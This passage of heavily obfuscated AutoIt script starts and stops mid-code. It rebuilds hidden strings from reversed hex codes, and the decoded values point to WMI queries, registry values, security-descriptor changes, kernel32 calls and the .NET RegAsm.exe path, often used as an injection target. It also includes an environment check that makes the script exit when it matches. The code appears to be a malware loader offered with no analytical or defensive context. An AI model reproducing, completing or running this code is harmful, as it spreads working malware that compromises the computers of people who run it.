("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) ] LOCAL $LUIPBLPUAH FOR $NJJZOQGAXMJBJKW = 0 TO 61 $LUIPBLPUAH &= CHRW ($LSTQZBWAAZAESMYFUFHM [$NJJZOQGAXMJBJKW ] ) NEXT RETURN $LUIPBLPUAH ENDFUNC FUNC NDZOQDTWEDPHMRUHHCMP () LOCAL $ORHFOUTQ_PEKQOUEDQDN [23 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("A3x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $VXUAXKCWPZ FOR $HJHISAYONXPJKYR = 0 TO 22 $VXUAXKCWPZ &= CHRW ($ORHFOUTQ_PEKQOUEDQDN [$HJHISAYONXPJKYR ] ) NEXT RETURN $VXUAXKCWPZ ENDFUNC FUNC GVFFXILMGQSPQRGAMUOY () LOCAL $SIMCXGDZSOCHLWCMYOUZ [6 ] = [EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("74x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("A5x0" ) ) ] LOCAL $YJDIQEMUSO FOR $_SAAOALLBQNBJOR = 0 TO 5 $YJDIQEMUSO &= CHRW ($SIMCXGDZSOCHLWCMYOUZ [$_SAAOALLBQNBJOR ] ) NEXT RETURN $YJDIQEMUSO ENDFUNC FUNC RUXPLKHLZOWSPHGHYWDV () LOCAL $JXSTFUOWIFUJDSZLRXJV [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $UBEJRWLCUU FOR $AXMUUHLJSVNIGXY = 0 TO 0 $UBEJRWLCUU &= CHRW ($JXSTFUOWIFUJDSZLRXJV [$AXMUUHLJSVNIGXY ] ) NEXT RETURN $UBEJRWLCUU ENDFUNC FUNC LKPLKFFEITYTCVHWLFOI () LOCAL $YYFIUJMLVHBXNCWGZYHI [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $OFGSBSUJAR FOR $PWHNJKKREIWTMCD = 0 TO 0 $OFGSBSUJAR &= CHRW ($YYFIUJMLVHBXNCWGZYHI [$PWHNJKKREIWTMCD ] ) NEXT RETURN $OFGSBSUJAR ENDFUNC FUNC OCVHBVQVZJWZFZDARYQO () LOCAL $UJZHBMEUSJTSRRETDZK_ [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $FDOFQRWDPQ FOR $IJAKUZMGVCZFNWZ = 0 TO 0 $FDOFQRWDPQ &= CHRW ($UJZHBMEUSJTSRRETDZK_ [$IJAKUZMGVCZFNWZ ] ) NEXT RETURN $FDOFQRWDPQ ENDFUNC FUNC TFJ_SXLJIXNMNEUQJZZL () LOCAL $SDLGJDAJZDBWOONEJFPP [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $QUCQOXBKFW FOR $EBZRRJXDAIUXXWZ = 0 TO 2 $QUCQOXBKFW &= CHRW ($SDLGJDAJZDBWOONEJFPP [$EBZRRJXDAIUXXWZ ] ) NEXT RETURN $QUCQOXBKFW ENDFUNC FUNC LQGQWNBLKEFMFTYMLZUD () LOCAL $TIXPJEYFKVCSJJGHSPEK [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) ] LOCAL $DTRGRPXAPB FOR $OKTGDHBCKPCUNUC = 0 TO 61 $DTRGRPXAPB &= CHRW ($TIXPJEYFKVCSJJGHSPEK [$OKTGDHBCKPCUNUC ] ) NEXT RETURN $DTRGRPXAPB ENDFUNC FUNC NSPBUPWGGLIFBDTXDAUR () LOCAL $WXUDIIJFFYMELJWFIFIG [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $QYLTLFRBIZ FOR $FWBDVKPRQOFIOSI = 0 TO 2 $QYLTLFRBIZ &= CHRW ($WXUDIIJFFYMELJWFIFIG [$FWBDVKPRQOFIOSI ] ) NEXT RETURN $QYLTLFRBIZ ENDFUNC FUNC DNCDGQEQCIS_IEKTSIZO () LOCAL $DAURPNWLPPRRLQBNTBTP [54 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $CTLOTUTANR FOR $HPMMURK_KJZYUXU = 0 TO 53 $CTLOTUTANR &= CHRW ($DAURPNWLPPRRLQBNTBTP [$HPMMURK_KJZYUXU ] ) NEXT RETURN $CTLOTUTANR ENDFUNC FUNC YXQLGJVSWLGFPYULXRLZ () LOCAL $IDIHQOYJ_FYGSA_SHLVV [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $VOIVSLLSRN FOR $KGQYMNKGDEOLCKP = 0 TO 4 $VOIVSLLSRN &= CHRW ($IDIHQOYJ_FYGSA_SHLVV [$KGQYMNKGDEOLCKP ] ) NEXT RETURN $VOIVSLLSRN ENDFUNC FUNC DSXBKATYS_ALXGKXQKSB () LOCAL $ZJZZIPNKUZMZVPTTITRU [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $TTYTVNJETO FOR $EQLIM_QOTUINDHF = 0 TO 4 $TTYTVNJETO &= CHRW ($ZJZZIPNKUZMZVPTTITRU [$EQLIM_QOTUINDHF ] ) NEXT RETURN $TTYTVNJETO ENDFUNC FUNC JBRCRVEVFJORPCIQYAWH () LOCAL $YLDOGDXQYPDVPGHSVM_J [25 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $YYDVNYOYQG FOR $DPQVBJQXUDRBLHP = 0 TO 24 $YYDVNYOYQG &= CHRW ($YLDOGDXQYPDVPGHSVM_J [$DPQVBJQXUDRBLHP ] ) NEXT RETURN $YYDVNYOYQG ENDFUNC FUNC EYVXLCMNKBVJFDCAOREQ () LOCAL $PTEQSFCQQXKYOXKZTERN [8 ] = [EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("62x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) ] LOCAL $LTEEFAWXNS FOR $GJCEIOHSSTTGPRE = 0 TO 7 $LTEEFAWXNS &= CHRW ($PTEQSFCQQXKYOXKZTERN [$GJCEIOHSSTTGPRE ] ) NEXT RETURN $LTEEFAWXNS ENDFUNC FUNC MPXIVQBNIVMLYZYIEDNR () LOCAL $LCGUEJMNSZPURAHSPBXE [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $KJCDMDOVJG FOR $MVYCMJDFMISHPCI = 0 TO 0 $KJCDMDOVJG &= CHRW ($LCGUEJMNSZPURAHSPBXE [$MVYCMJDFMISHPCI ] ) NEXT RETURN $KJCDMDOVJG ENDFUNC FUNC OO_IDIJDVNYSMZX_M_PP () LOCAL $TRZKQUSPEWJWFEYUEENG [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $YOQTJQU_ZE FOR $KBBMCETEWYSUDRY = 0 TO 4 $YOQTJQU_ZE &= CHRW ($TRZKQUSPEWJWFEYUEENG [$KBBMCETEWYSUDRY ] ) NEXT RETURN $YOQTJQU_ZE ENDFUNC FUNC WHCKDDSPLZAEGYKLBTVB () LOCAL $UIYJBMFJVUEZAJMOMWGS [5 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B5x0" ) ) ] LOCAL $OJTIRYITSU FOR $NFLNTZVHZGCTMKX = 0 TO 4 $OJTIRYITSU &= CHRW ($UIYJBMFJVUEZAJMOMWGS [$NFLNTZVHZGCTMKX ] ) NEXT RETURN $OJTIRYITSU ENDFUNC FUNC LTIGROAE_JRCLJQLFAEL () LOCAL $MZEXXHIRCNGRHOQPYGXG [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $MPLJJGJCMD FOR $LNFAEKZNVJOLJPE = 0 TO 11 $MPLJJGJCMD &= CHRW ($MZEXXHIRCNGRHOQPYGXG [$LNFAEKZNVJOLJPE ] ) NEXT RETURN $MPLJJGJCMD ENDFUNC FUNC VKSHDKJJOLSZGUFRCDO () IF $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV ($IGNFZGJMJVHBOYCTHNSGHZZAUHGFPCVMNLDNM (LOCZUQHAFTLBAQXIKJGM () , UDDQAADNQQCWFFKFXJHY () ) , JDBMWFPFZBTPFONPTYHZ () ) THEN EXIT ELSEIF $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV ($IGNFZGJMJVHBOYCTHNSGHZZAUHGFPCVMNLDNM (LOCZUQHAFTLBAQXIKJGM () , EBVQBCPIRLXSKFHIEPIK () ) , JSDZBNAGIOMQYAPNDYKB () ) THEN EXIT ELSEIF $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV ($IGNFZGJMJVHBOYCTHNSGHZZAUHGFPCVMNLDNM (UUORKMINHCTTLXTXRJBU () , VAVRBTGERARFWVICIZIE () ) , NOOGSPOYLHTCGKMQKIJF () ) THEN EXIT ENDIF ENDFUNC FUNC JEUPOTPCRCB_UUTGADVT () LOCAL $DVMKLAPOTBE_MDBJFVVY [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $OSKEODAKQY FOR $RGIYXOUXBMFIIDP = 0 TO 3 $OSKEODAKQY &= CHRW ($DVMKLAPOTBE_MDBJFVVY [$RGIYXOUXBMFIIDP ] ) NEXT RETURN $OSKEODAKQY ENDFUNC FUNC HDVKACPTKRSVEZECITXS () LOCAL $YIJUCUSHZXWJFTERNBGM [62 ] = [EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) ] LOCAL $ZUAHHLIUNV FOR $HCHZTNAJGRTFPTF = 0 TO 61 $ZUAHHLIUNV &= CHRW ($YIJUCUSHZXWJFTERNBGM [$HCHZTNAJGRTFPTF ] ) NEXT RETURN $ZUAHHLIUNV ENDFUNC FUNC CKGLMOQGEDXYYHWXFBUY () LOCAL $KDCAEVJIEDFCSFXSBHDU [62 ] = [EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $YIGHREHBBY FOR $BCACFETCWVSTRSU = 0 TO 61 $YIGHREHBBY &= CHRW ($KDCAEVJIEDFCSFXSBHDU [$BCACFETCWVSTRSU ] ) NEXT RETURN $YIGHREHBBY ENDFUNC FUNC QSYIVN_CWCFARLRIJNXO () LOCAL $BV_ZAKGSG_QQPFTQHLWQ [7 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) ] LOCAL $WT_HKGHWWM FOR $AOEDXQWTLICIBOI = 0 TO 6 $WT_HKGHWWM &= CHRW 